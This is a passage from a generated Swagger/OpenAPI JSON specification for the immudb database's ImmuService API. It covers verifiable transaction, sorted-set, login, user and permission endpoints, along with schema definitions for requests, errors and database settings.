successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableSQLEntry\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableSQLGetRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/verifiable/tx/{tx}\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_VerifiableTxById\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableTx\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"tx\",\n            \"description\": \"Transaction ID\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"proveSinceTx\",\n            \"description\": \"When generating the proof, generate consistency proof with state from this\\ntransaction.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"entriesSpec.kvEntriesSpec.action\",\n            \"description\": \"Action to perform on entries.\\n\\n - EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"enum\": [\n              \"EXCLUDE\",\n              \"ONLY_DIGEST\",\n              \"RAW_VALUE\",\n              \"RESOLVE\"\n            ],\n            \"default\": \"EXCLUDE\"\n          },\n          {\n            \"name\": \"entriesSpec.zEntriesSpec.action\",\n            \"description\": \"Action to perform on entries.\\n\\n - EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"enum\": [\n              \"EXCLUDE\",\n              \"ONLY_DIGEST\",\n              \"RAW_VALUE\",\n              \"RESOLVE\"\n            ],\n            \"default\": \"EXCLUDE\"\n          },\n          {\n            \"name\": \"entriesSpec.sqlEntriesSpec.action\",\n            \"description\": \"Action to perform on entries.\\n\\n - EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"enum\": [\n              \"EXCLUDE\",\n              \"ONLY_DIGEST\",\n              \"RAW_VALUE\",\n              \"RESOLVE\"\n            ],\n            \"default\": \"EXCLUDE\"\n          },\n          {\n            \"name\": \"sinceTx\",\n            \"description\": \"If \\u003e 0, do not wait for the indexer to index all entries, only require\\nentries up to sinceTx to be indexed, will affect resolving references.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"noWait\",\n            \"description\": \"Deprecated: If set to true, do not wait for the indexer to be up to date.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"boolean\"\n          },\n          {\n            \"name\": \"keepReferencesUnresolved\",\n            \"description\": \"If set to true, do not resolve references (avoid looking up final values if not needed).\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"boolean\"\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/verifiable/zadd\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_VerifiableZAdd\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableTx\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableZAddRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/zadd\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_ZAdd\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxHeader\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaZAddRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/zscan\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_ZScan\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaZEntries\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaZScanRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/health\": {\n      \"get\": {\n        \"summary\": \"DEPRECATED: Use ServerInfo\",\n        \"operationId\": \"ImmuService_Health\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaHealthResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ],\n        \"security\": []\n      }\n    },\n    \"/login\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_Login\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaLoginResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaLoginRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ],\n        \"security\": []\n      }\n    },\n    \"/logout\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_Logout\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"properties\": {}\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/serverinfo\": {\n      \"get\": {\n        \"summary\": \"ServerInfo returns information about the server instance.\\nServerInfoRequest is defined for future extensions.\",\n        \"operationId\": \"ImmuService_ServerInfo\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaServerInfoResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ],\n        \"security\": []\n      }\n    },\n    \"/user\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_CreateUser\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaCreateUserRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/user/changepermission\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_ChangePermission\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaChangePermissionRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/user/changesqlprivileges\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_ChangeSQLPrivileges\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaChangeSQLPrivilegesResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaChangeSQLPrivilegesRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/user/list\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_ListUsers\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaUserList\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/user/password/change\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_ChangePassword\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaChangePasswordRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/user/setactiveUser\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_SetActiveUser\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSetActiveUserRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    }\n  },\n  \"definitions\": {\n    \"PreconditionKeyMustExistPrecondition\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"key to check\"\n        }\n      },\n      \"title\": \"Only succeed if given key exists\"\n    },\n    \"PreconditionKeyMustNotExistPrecondition\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"key to check\"\n        }\n      },\n      \"title\": \"Only succeed if given key does not exists\"\n    },\n    \"PreconditionKeyNotModifiedAfterTXPrecondition\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"key to check\"\n        },\n        \"txID\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"transaction id to check against\"\n        }\n      },\n      \"title\": \"Only succeed if given key was not modified after given transaction\"\n    },\n    \"protobufAny\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"type_url\": {\n          \"type\": \"string\",\n          \"description\": \"A URL/resource name that uniquely identifies the type of the serialized\\nprotocol buffer message. This string must contain at least\\none \\\"/\\\" character. The last segment of the URL's path must represent\\nthe fully qualified name of the type (as in\\n`path/google.protobuf.Duration`). The name should be in a canonical form\\n(e.g., leading \\\".\\\" is not accepted).\\n\\nIn practice, teams usually precompile into the binary all types that they\\nexpect it to use in the context of Any. However, for URLs which use the\\nscheme `http`, `https`, or no scheme, one can optionally set up a type\\nserver that maps type URLs to message definitions as follows:\\n\\n* If no scheme is provided, `https` is assumed.\\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\\n  value in binary format, or produce an error.\\n* Applications are allowed to cache lookup results based on the\\n  URL, or have them precompiled into a binary to avoid any\\n  lookup. Therefore, binary compatibility needs to be preserved\\n  on changes to types. (Use versioned type names to manage\\n  breaking changes.)\\n\\nNote: this functionality is not currently available in the official\\nprotobuf release, and it is not used for type URLs beginning with\\ntype.googleapis.com.\\n\\nSchemes other than `http`, `https` (or the empty scheme) might be\\nused with implementation specific semantics.\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"description\": \"Must be a valid serialized protocol buffer of the above specified type.\"\n        }\n      },\n      \"description\": \"`Any` contains an arbitrary serialized protocol buffer message along with a\\nURL that describes the type of the serialized message.\\n\\nProtobuf library provides support to pack/unpack Any values in the form\\nof utility functions or additional generated methods of the Any type.\\n\\nExample 1: Pack and unpack a message in C++.\\n\\n    Foo foo = ...;\\n    Any any;\\n    any.PackFrom(foo);\\n    ...\\n    if (any.UnpackTo(\\u0026foo)) {\\n      ...\\n    }\\n\\nExample 2: Pack and unpack a message in Java.\\n\\n    Foo foo = ...;\\n    Any any = Any.pack(foo);\\n    ...\\n    if (any.is(Foo.class)) {\\n      foo = any.unpack(Foo.class);\\n    }\\n\\nExample 3: Pack and unpack a message in Python.\\n\\n    foo = Foo(...)\\n    any = Any()\\n    any.Pack(foo)\\n    ...\\n    if any.Is(Foo.DESCRIPTOR):\\n      any.Unpack(foo)\\n      ...\\n\\nExample 4: Pack and unpack a message in Go\\n\\n     foo := \\u0026pb.Foo{...}\\n     any, err := anypb.New(foo)\\n     if err != nil {\\n       ...\\n     }\\n     ...\\n     foo := \\u0026pb.Foo{}\\n     if err := any.UnmarshalTo(foo); err != nil {\\n       ...\\n     }\\n\\nThe pack methods provided by protobuf library will by default use\\n'type.googleapis.com/full.type.name' as the type URL and the unpack\\nmethods only use the fully qualified type name after the last '/'\\nin the type URL, for example \\\"foo.bar.com/x/y.z\\\" will yield type\\nname \\\"y.z\\\".\\n\\n\\nJSON\\n\\nThe JSON representation of an `Any` value uses the regular\\nrepresentation of the deserialized, embedded message, with an\\nadditional field `@type` which contains the type URL. Example:\\n\\n    package google.profile;\\n    message Person {\\n      string first_name = 1;\\n      string last_name = 2;\\n    }\\n\\n    {\\n      \\\"@type\\\": \\\"type.googleapis.com/google.profile.Person\\\",\\n      \\\"firstName\\\": \\u003cstring\\u003e,\\n      \\\"lastName\\\": \\u003cstring\\u003e\\n    }\\n\\nIf the embedded message type is well-known and has a custom JSON\\nrepresentation, that representation will be embedded adding a field\\n`value` which holds the custom JSON in addition to the `@type`\\nfield. Example (for message [google.protobuf.Duration][]):\\n\\n    {\\n      \\\"@type\\\": \\\"type.googleapis.com/google.protobuf.Duration\\\",\\n      \\\"value\\\": \\\"1.212s\\\"\\n    }\"\n    },\n    \"protobufNullValue\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"NULL_VALUE\"\n      ],\n      \"default\": \"NULL_VALUE\",\n      \"description\": \"`NullValue` is a singleton enumeration to represent the null value for the\\n`Value` type union.\\n\\n The JSON representation for `NullValue` is JSON `null`.\\n\\n - NULL_VALUE: Null value.\"\n    },\n    \"runtimeError\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"error\": {\n          \"type\": \"string\"\n        },\n        \"code\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\"\n        },\n        \"message\": {\n          \"type\": \"string\"\n        },\n        \"details\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/protobufAny\"\n          }\n        }\n      }\n    },\n    \"runtimeStreamError\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"grpc_code\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\"\n        },\n        \"http_code\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\"\n        },\n        \"message\": {\n          \"type\": \"string\"\n        },\n        \"http_status\": {\n          \"type\": \"string\"\n        },\n        \"details\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/protobufAny\"\n          }\n        }\n      }\n    },\n    \"schemaAHTNullableSettings\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"syncThreshold\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Number of new leaves in the tree between synchronous flush to disk\"\n        },\n        \"writeBufferSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the in-memory write buffer\"\n        }\n      }\n    },\n    \"schemaChangePasswordRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"user\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Username\"\n        },\n        \"oldPassword\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Old password\"\n        },\n        \"newPassword\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"New password\"\n        }\n      }\n    },\n    \"schemaChangePermissionRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"action\": {\n          \"$ref\": \"#/definitions/schemaPermissionAction\",\n          \"title\": \"Action to perform\"\n        },\n        \"username\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the user to update\"\n        },\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the database\"\n        },\n        \"permission\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin\"\n        }\n      }\n    },\n    \"schemaChangeSQLPrivilegesRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"action\": {\n          \"$ref\": \"#/definitions/schemaPermissionAction\",\n          \"title\": \"Action to perform\"\n        },\n        \"username\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the user to update\"\n        },\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the database\"\n        },\n        \"privileges\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"title\": \"SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER\"\n        }\n      }\n    },\n    \"schemaChangeSQLPrivilegesResponse\": {\n      \"type\": \"object\"\n    },\n    \"schemaChunk\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"content\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"metadata\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          }\n        }\n      }\n    },\n    \"schemaColumn\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"Column name\"\n        },\n        \"type\": {\n          \"type\": \"string\",\n          \"title\": \"Column type\"\n        }\n      }\n    },\n    \"schemaCommittedSQLTx\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"header\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Transaction header\"\n        },\n        \"updatedRows\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Number of updated rows\"\n        },\n        \"lastInsertedPKs\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"$ref\": \"#/definitions/schemaSQLValue\"\n          },\n          \"title\": \"The value of last inserted auto_increment primary key (mapped by table name)\"\n        },\n        \"firstInsertedPKs\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"$ref\": \"#/definitions/schemaSQLValue\"\n          },\n          \"title\": \"The value of first inserted auto_increment primary key (mapped by table name)\"\n        }\n      }\n    },\n    \"schemaCreateDatabaseRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"settings\": {\n          \"$ref\": \"#/definitions/schemaDatabaseNullableSettings\",\n          \"title\": \"Database settings\"\n        },\n        \"ifNotExists\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, do not fail if the database already exists\"\n        }\n      }\n    },\n    \"schemaCreateDatabaseResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"settings\": {\n          \"$ref\": \"#/definitions/schemaDatabaseNullableSettings\",\n          \"title\": \"Current database settings\"\n        },\n        \"alreadyExisted\": {\n          \"type\": \"boolean\",\n          \"title\": \"Set to true if given database already existed\"\n        }\n      }\n    },\n    \"schemaCreateUserRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"user\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Username\"\n        },\n        \"password\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Login password\"\n        },\n        \"permission\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Permission, 1 - read permission, 2 - read+write permission, 254 - admin\"\n        },\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaDatabase\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"databaseName\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the database\"\n        }\n      }\n    },\n    \"schemaDatabaseHealthResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"pendingRequests\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Number of requests currently being executed\"\n        },\n        \"lastRequestCompletedAt\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"Timestamp at which the last request was completed\"\n        }\n      }\n    },\n    \"schemaDatabaseInfo\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"settings\": {\n          \"$ref\": \"#/definitions/schemaDatabaseNullableSettings\",\n          \"title\": \"Current database settings\"\n        },\n        \"loaded\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, this database is currently loaded into memory\"\n        },\n        \"diskSize\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"database disk size\"\n        },\n        \"numTransactions\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"total number of transactions\"\n        },\n        \"created_at\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"the time when the db was created\"\n        },\n        \"created_by\": {\n          \"type\": \"string\",\n          \"title\": \"the user who created the database\"\n        }\n      }\n    },\n    \"schemaDatabaseListRequestV2\": {\n      \"type\": \"object\"\n    },\n    \"schemaDatabaseListResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"databases\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaDatabase\"\n          },\n          \"title\": \"Database list\"\n        }\n      }\n    },\n    \"schemaDatabaseListResponseV2\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"databases\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaDatabaseInfo\"\n          },\n          \"title\": \"Database list with current database settings\"\n        }\n      }\n    },\n    \"schemaDatabaseNullableSettings\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"replicationSettings\": {\n          \"$ref\": \"#/definitions/schemaReplicationNullableSettings\",\n          \"title\": \"Replication settings\"\n        },\n        \"fileSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Max filesize on disk\"\n        },\n        \"maxKeyLen\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum length of keys\"\n        },\n        \"maxValueLen\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum length of values\"\n        },\n        \"maxTxEntries\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of entries in a single transaction\"\n        },\n        \"excludeCommitTime\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"If set to true, do not include commit timestamp in transaction headers\"\n        },\n        \"maxConcurrency\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneous commits prepared for write\"\n        },\n        \"maxIOConcurrency\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneous IO writes\"\n        },\n        \"txLogCacheSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the cache for transaction logs\"\n        },\n        \"vLogMaxOpenedFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneous value files opened\"\n        },\n        \"txLogMaxOpenedFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneous transaction log files opened\"\n        },\n        \"commitLogMaxOpenedFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneous commit log files opened\"\n        },\n        \"indexSettings\": {\n          \"$ref\": \"#/definitions/schemaIndexNullableSettings\",\n          \"title\": \"Index settings\"\n        },\n        \"writeTxHeaderVersion\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Version of transaction header to use (limits available features)\"\n        },\n        \"autoload\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"If set to true, automatically load the database when starting immudb (true by default)\"\n        },\n        \"readTxPoolSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the pool of read buffers\"\n        },\n        \"syncFrequency\": {\n          \"$ref\": \"#/definitions/schemaNullableMilliseconds\",\n          \"title\": \"Fsync frequency during commit process\"\n        },\n        \"writeBufferSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the in-memory buffer for write operations\"\n        },\n        \"ahtSettings\": {\n          \"$ref\": \"#/definitions/schemaAHTNullableSettings\",\n          \"title\": \"Settings of Appendable Hash Tree\"\n        },\n        \"maxActiveTransactions\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of pre-committed transactions\"\n        },\n        \"mvccReadSetLimit\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Limit the number of read entries per transaction\"\n        },\n        \"vLogCacheSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the cache for value logs\"\n        },\n        \"truncationSettings\": {\n          \"$ref\": \"#/definitions/schemaTruncationNullableSettings\",\n          \"title\": \"Truncation settings\"\n        },\n        \"embeddedValues\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"If set to true, values are stored together with the transaction header (true by default)\"\n        },\n        \"preallocFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"Enable file preallocation\"\n        }\n      }\n    },\n    \"schemaDatabaseSettings\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"databaseName\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the database\"\n        },\n        \"replica\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, this database is replicating another database\"\n        },\n        \"primaryDatabase\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the database to replicate\"\n        },\n        \"primaryHost\": {\n          \"type\": \"string\",\n          \"title\": \"Hostname of the immudb instance with database to replicate\"\n        },\n        \"primaryPort\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Port of the immudb instance with database to replicate\"\n        },\n        \"primaryUsername\": {\n          \"type\": \"string\",\n          \"title\": \"Username of the user with read access of the database to replicate\"\n        },\n        \"primaryPassword\": {\n          \"type\": \"string\",\n          \"title\": \"Password of the user with read access of the database to replicate\"\n        },\n        \"fileSize\": {\n          